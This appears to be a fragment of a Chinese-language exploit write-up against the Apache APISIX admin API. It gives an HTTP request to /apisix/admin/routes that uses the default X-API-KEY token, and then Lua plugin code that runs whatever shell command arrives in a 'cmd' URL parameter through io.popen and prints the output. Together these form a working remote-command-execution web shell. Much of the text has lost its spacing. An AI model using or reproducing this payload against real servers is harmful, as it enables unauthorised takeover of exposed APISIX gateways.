POST/apisix/admin/routesHTTP/1.1 Host: your-ip:9080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 Content-Type: application/json Content-Length: 406
X-API-KEY即为默认token
1 2 3 4 5 6 7 8 9 10 11 12
local _M={} function_M.access(conf,ctx) localos=require('os')--引入标准库 local args=assert(ngx.req.get_uri_args()) local f=assert(io.popen(args.cmd,'r'))--r只读,w覆写,a追加 local s=assert(f:read('*a')) ngx.say(s) f:close() end return _M